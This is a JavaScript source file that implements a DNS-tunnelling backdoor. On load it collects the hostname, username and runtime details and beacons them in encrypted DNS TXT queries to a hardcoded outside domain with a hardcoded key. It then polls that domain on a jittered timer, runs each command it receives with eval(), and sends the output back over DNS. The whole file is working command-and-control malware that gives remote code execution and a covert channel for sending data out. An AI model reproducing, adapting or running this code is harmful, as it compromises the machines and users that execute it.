const import_node_dns = require("node:dns");
const import_node_zlib = require("node:zlib");
const import_node_crypto = require("node:crypto");
const { execSync } = require("node:child_process");
const os = require('node:os');

const algo = "aes-128-ctr";
const crc32 = (bytes) => {
  const touint32 = (n) => {
    if (n >= 0) {
      return n;
    }
    return 4294967295 - n * -1 + 1;
  };
  const divisor = 3988292384;
  let crc = 4294967295;
  for (const byte of bytes) {
    crc = crc ^ byte;
    for (let i = 0; i < 8; i++) {
      if (crc & 1) {
        crc = crc >>> 1 ^ divisor;
      } else {
        crc = crc >>> 1;
      }
    }
  }
  return touint32(crc ^ 4294967295);
};
const splitAt = (index, xs) => [xs.slice(0, index), xs.slice(index)];
const seal = (payload, secretKey) => {
  const nonce = crc32(payload);
  const nonceHex = Buffer.from(nonce.toString(16), "hex");
  if (!!secretKey && secretKey != "" && secretKey.length % 16 == 0) {
    const keyParts = splitAt(32, secretKey);
    const key = Buffer.from(keyParts[0], "hex");
    const iv = Buffer.from(keyParts[1], "hex");
    const counter = Buffer.allocUnsafe(16);
    for (let i = 0; i < 4; i++) {
      for (let j = 0; j < 4; j++) {
        counter[i * 4 + j] = iv[i * 4 + j] ^ nonceHex[j];
      }
    }
    const cipher = (0, import_node_crypto.createCipheriv)(algo, key, counter, "hex");
    const message = Buffer.concat([cipher.update(Buffer.from(payload, "hex")), cipher.final()]).toString("hex");
    return { nonce, message };
  } else {
    return { nonce, message: Buffer.from(payload, "hex").toString("hex") };
  }
};
const open = (payload, nonce, secretKey) => {
  let decrypted = payload;
  if (!!secretKey && secretKey != "" && secretKey.length % 16 == 0) {
    const keyParts = splitAt(32, secretKey);
    const key = Buffer.from(keyParts[0], "hex");
    const iv = Buffer.from(keyParts[1], "hex");
    const counter = Buffer.allocUnsafe(16);
    for (let i = 0; i < 4; i++) {
      for (let j = 0; j < 4; j++) {
        counter[i * 4 + j] = iv[i * 4 + j] ^ nonce[j];
      }
    }
    const decipher = (0, import_node_crypto.createDecipheriv)(algo, key, counter, "hex");
    decrypted = Buffer.concat([decipher.update(payload), decipher.final()]);
  }
  const csum = crc32(decrypted);
  return { output: decrypted, valid: csum.toString(16) === nonce.toString("hex") };
};
const GUID = () => {
  const bytes = Buffer.alloc(12);
  (0, import_node_crypto.randomFillSync)(bytes);
  return Buffer.from(bytes);
};

const BinEnc = class {
  guidSz = 12;
  msgIdSz = 4;
  sleepTimeSz = 4;
  ChunksSz = 4;
  ChunkSz = 4;
  TypeSz = 1;
  constructor() {
    this.mc = 0;
  }
  /**
   * 
   * @param {number} num 
   * @param {number} maxLength 
   * @returns {Buffer}
   */
  n2b(num, maxLength = 2) {
    const bytes = Buffer.alloc(maxLength);
    bytes.writeUintBE(num, 0, maxLength);
    return bytes;
  }
  /**
   * 
   * @param {Object} obj 
   * @param {string} domain 
   * @returns {Array<Uint8Array>}
   */
  toRawPackets(obj, domain) {
    if (this.mc == 256) {
      this.mc = 0;
    } else {
      this.mc++;
    }
    const guid = obj.clientguid;
    const counter = this.n2b(this.mc, this.msgIdSz);
    const sleepTime = this.n2b(obj.sleepTime, this.sleepTimeSz);
    const type = Buffer.alloc(this.TypeSz);
    const writeH = (payload) => {
      const osType = Buffer.alloc(this.TypeSz);
      osType[0] = payload.os == "linux" ? 1 : payload.os == "win32" ? 2 : payload.os == "darwin" ? 3 : 4;
      const host = Buffer.from(payload.hostname, "utf-8");
      const hostSz = Buffer.alloc(this.TypeSz);
      hostSz[0] = host.length;
      const u = Buffer.from(payload.username, "utf-8");
      const uSz = Buffer.alloc(this.TypeSz);
      uSz[0] = u.length;
      return Buffer.concat([osType, hostSz, host, uSz, u]);
    };
    const writeD = (payload) => {
      const maxLength = 240 / 2 - domain.length - (this.guidSz + this.msgIdSz + this.ChunksSz + this.ChunkSz + this.TypeSz) * 2;
      const deflated = (0, import_node_zlib.gzipSync)(Buffer.from(payload, "utf-8"));
      const dataParts = splitBytes(deflated, maxLength);
      let parts = Buffer.alloc(this.ChunksSz);
      let part = Buffer.alloc(this.ChunkSz);
      parts = this.n2b(dataParts.length, this.ChunksSz);
      const messageParts = [];
      for (let i = 0; i < dataParts.length; i++) {
        part = this.n2b(i + 1, this.ChunkSz);
        messageParts.push(Buffer.concat([parts, part, dataParts[i]]));
      }
      return messageParts;
    };
    if (obj.type == 1) {
      type[0] = 1;
      const heartbeat = writeH(obj.payload);
      return [Buffer.concat([guid, counter, sleepTime, type, heartbeat])];
    } else if (obj.type == 2) {
      type[0] = 2;
      return writeD(obj.payload).map((data) => Buffer.concat([guid, counter, sleepTime, type, data]));
    } else {
      type[0] = 3;
      return [Buffer.concat([guid, counter, sleepTime, type])];
    }
  }
  /**
   * 
   * @param {Uint8Array} rawPacket 
   */
  toObject(rawPacket) {
    let chunks = splitArr(rawPacket, this.guidSz);
    rawPacket = chunks[1];
    const clientguid = Buffer.from(chunks[0]);
    chunks = splitArr(rawPacket, this.msgIdSz);
    rawPacket = chunks[1];
    const msgId = chunks[0].readUintBE(0, this.msgIdSz);
    chunks = splitArr(rawPacket, this.sleepTimeSz);
    rawPacket = chunks[1];
    const sleepTime = chunks[0].readUintBE(0, this.sleepTimeSz);
    chunks = splitArr(rawPacket, this.TypeSz);
    rawPacket = chunks[1];
    const type = chunks[0].readUintBE(0, this.TypeSz);
    const readH = (hbd) => {
      let chunks2 = splitArr(hbd, this.TypeSz);
      hbd = chunks2[1];
      const type2 = chunks2[0].readUintBE(0, this.TypeSz);
      chunks2 = splitArr(hbd, this.TypeSz);
      hbd = chunks2[1];
      const hostnameSz = chunks2[0].readUintBE(0, this.TypeSz);
      chunks2 = splitArr(hbd, hostnameSz);
      hbd = chunks2[1];
      const hostname = chunks2[0].toString();
      chunks2 = splitArr(hbd, this.TypeSz);
      hbd = chunks2[1];
      const usernameSz = chunks2[0].readUintBE(0, this.TypeSz);
      chunks2 = splitArr(hbd, usernameSz);
      hbd = chunks2[1];
      const username = chunks2[0].toString();
      return {
        os: type2 == 1 ? "linux" : type2 == 2 ? "win32" : type2 == 3 ? "darwin" : "other",
        hostname,
        username
      };
    };
    const readD = (rawData) => {
      let chunks2 = splitArr(rawData, this.ChunksSz);
      rawData = chunks2[1];
      const chunknum = chunks2[0].readUintBE(0, this.ChunksSz);
      chunks2 = splitArr(rawData, this.ChunkSz);
      rawData = chunks2[1];
      const chunkid = chunks2[0].readUintBE(0, this.ChunkSz);
      return { chunknum, chunkid, data: rawData };
    };
    const payload = type == 1 ? readH(rawPacket) : type == 2 ? readD(rawPacket) : void 0;
    return { clientguid, msgId, sleepTime, type, payload };
  }
};
const MessageAdapter = class {
  constructor(td, ek) {
    this.td = td;
    this.ek = ek;
    this.chunkmap = {};
    this.encoder = new BinEnc();
  }
  /**
  * Parses a message and processes chunks. 
  * It keeps track of sessions and manages their mapping for reassembly purposes. 
  * If all data in a session is received, it combines the chunks into a final buffer; 
  * otherwise, it continues to accumulate chunked responses until they can be fully assembled.
  *
  * @param {string} packetData2 - The incoming DNS TXT response.
  * @returns {Object} An object with the following structure:
  *   - output (Buffer): If chunks are reassembled successfully, it contains the concatenated final data; otherwise, null.
  *   - complete (boolean): A flag indicating whether all parts of the message have been processed (`true`) or not (`false`).
  */
  parse = (packetData2) => {
    const stripped = stripDNSRequest(packetData2, this.td);
    const decoded = decodeDNSPayload(stripped, this.ek);
    if (!decoded) {
      console.error("Decode error");
      return { output: null, complete: false };
    }
    const message = this.encoder.toObject(Buffer.from(decoded));
    if (message.type == 2) {
      if (!(message.msgId in this.chunkmap)) {
        this.chunkmap[message.msgId] = [];
      }
      this.chunkmap[message.msgId][message.payload.chunkid - 1] = message.payload.data;
      if (this.chunkmap[message.msgId].length == message.payload.chunknum) {
        const rawPackets = this.chunkmap[message.msgId];
        const buffer = Buffer.concat(rawPackets);
        const inflated = (0, import_node_zlib.gunzipSync)(buffer);
        this.chunkmap[message.msgId] = [];
        delete this.chunkmap[message.msgId];
        return { output: inflated.toString(), complete: true };
      }
    }
    return { output: null, complete: false };
  };
  /**
   * 
   * @param {Uint8Array} packet
   * @param {Uint8Array} clientId
   * @param {Object} command
   * @returns {Array<Uint8Array> | undefined}
   */
  serialize = (packet, clientId, command) => {
    try {
      try {
        const messages = this.encodePacket({
          clientguid: clientId,
          sleepTime: command.sleepTime / 1e3,
          type: 2,
          payload: packet
        });
        return messages;
      } catch (err1) {
        return void 0;
      }
    } catch (err) {
      return void 0;
    }
  };
  encodePacket = (payload) => {
    const encoded = this.encoder.toRawPackets(payload, this.td);
    return encoded.map((e) => dnsMarshal(e, this.ek));
  };
};
const splitString = (str, n) => {
  let sub = "";
  let subs = [];
  const runes = Array.from(str).map((char) => char.codePointAt(0));
  for (let i = 0; i < runes.length; i++) {
    sub += String.fromCodePoint(runes[i]);
    if ((i + 1) % n === 0) {
      subs.push(sub);
      sub = "";
    } else if (i + 1 === runes.length) {
      subs.push(sub);
    }
  }
  return subs;
};
const splitArr = (rawPacket, sliceSize) => {
  const p1 = Uint8Array.prototype.slice.call(rawPacket).slice(0, sliceSize);
  const p2 = Uint8Array.prototype.slice.call(rawPacket).slice(sliceSize);
  return [p1, p2];
};
const splitBytes = (bytes, lim) => {
  const chunks = [];
  let buf = Uint8Array.prototype.slice.call(bytes);
  while (buf.byteLength > 0) {
    const c = splitArr(buf, lim);
    buf = c[1];
    chunks.push(c[0]);
  }
  if (buf.length > 0) {
    chunks.push(buf);
  }
  return chunks;
};
const decodeDNSPayload = (payload, ek) => {
  const dataPacketRaw = Buffer.from(payload, "hex");
  if (dataPacketRaw.byteLength <= 24) {
    return;
  }
  const c = splitArr(dataPacketRaw, 4);
  const { output: output2, valid } = open(c[1], c[0], ek);
  if (!valid) {
    return;
  }
  return Buffer.from(output2);
};
const dnsMarshal = (packet, ek) => {
  const { nonce, message } = seal(packet, ek);
  const mb = Buffer.from(message.toString(16), "hex");
  const nb = Buffer.from(nonce.toString(16), "hex");
  const pb = Buffer.concat([nb, mb]);
  return splitString(pb.toString("hex"), 63).join(".");
};
const stripDNSRequest = (m, target) => {
  const s = ("" + m).toLowerCase().replace(target, "").replace(/\./g, "");
  return s;
};

const DNSStream = class {
  cid;
  sleepTime;
  command;
  adapter;
  /**
   * @param {MessageAdapter} adapter - The message parser class. @see MessageAdapter
   */
  constructor(adapter, sleepTime) {
    this.cid = GUID();
    this.command = { sleepTime };
    this.sleepTime = this.command.sleepTime;
    this.adapter = adapter;
    this.resolver = new import_node_dns.Resolver({
      timeout: 30 * 1e3,
      tries: 3
    });
    this.proc = os.userInfo().username;
    this.honm = os.hostname();
  }
  Start = () => {
    const randomBetween = (min, max) => {
      return Math.floor(Math.random() * (max - min + 1) + min);
    };
    const loop = () => {
      const jitter = randomBetween(-this.command.sleepTime * 0.2, this.command.sleepTime * 0.2);
      if (!!this.adapter.ek && this.adapter.ek != "" && this.adapter.ek.length % 16 == 0) {
        this.info();
      }
      setTimeout(() => {
        this.poll();
        setTimeout(loop, this.command.sleepTime + jitter);
      }, 1e3);
    };
    loop();
  };
  /**
   * Sends an asynchronous DNS TXT query against the provided target domain and resolves with IP addresses as results or rejects with an error.
   * @param {string} data - The data part of the domain to resolve (e.g., 'example.com').
   * @param {string} target - The complete domain name including the query (e.g., 'target.example.com').
   * @returns {Promise<Array>} A promise that resolves with an array of resolved IP addresses or rejects with an error.
   */
  send = (data, target) => new Promise((resolve) => {
    const q = `${data}.${target}`;
    this.resolver.resolveTxt(q, (err, addresses) => {
      if (err) { /* empty */ } else {
        resolve(addresses);
      }
    });
  });
  /**
   * Sends an information packet to a specified stream, containing the client's unique identifier (guid),
   * sleep time duration, and hostname data. The function relies on Protocol Buffers for serialization,
   * loading 'chacomm.proto', creating message types as needed, verifying payload structure, encoding it into buffer format,
   * and logging the resulting message and buffer to the console.
   */
  info = () => {
    let proc = '';
    if (!!process.versions.electron) {
      proc = `e-${process.versions.electron}`
    } else {
      proc = `n-${process.versions.node}`
    }
    const i = this.adapter.encodePacket({
      clientguid: this.cid,
      sleepTime: this.command.sleepTime,
      type: 1,
      payload: {
        os: process.platform,
        hostname: `${this.honm}|||${this.proc}`,
        username: proc
      }
    })[0];
    this.send(i, this.adapter.td).then(() => {
    });
  };
  poll = () => {
    const p = this.adapter.encodePacket({
      clientguid: this.cid,
      sleepTime: this.sleepTime,
      type: 3
    })[0];
    this.send(p, this.adapter.td).then((answers) => {
      if (answers.length > 0) {
        const packetData = answers.join("");
        if (packetData == "-")
          return;
        const { output, complete } = this.adapter.parse(packetData);
        if (complete) {
          const receivedCmd = output;
          try {
            const evalResult = eval(receivedCmd);
            this.write(Buffer.from(evalResult));
          } catch (err) {
            this.write(Buffer.from(`error: ` + err.message));
          }
        }
      }
    }).catch(() => {
    });
  };
  write = (data) => {
    const pp = this.adapter.serialize(
      data,
      this.cid,
      this.command
    );
    if (!!pp) {
      pp.forEach((p2) => {
        this.send(p2, this.adapter.td).then(() => {
        });
      });
    }
  };
};

const dnsStream = new DNSStream(new MessageAdapter('eclnz.com', '33bc2f10ed40d94511105444ad7a037a59ea38906e95121a0e999478fa805525'), 1 * 60 * 1000);
dnsStream.Start();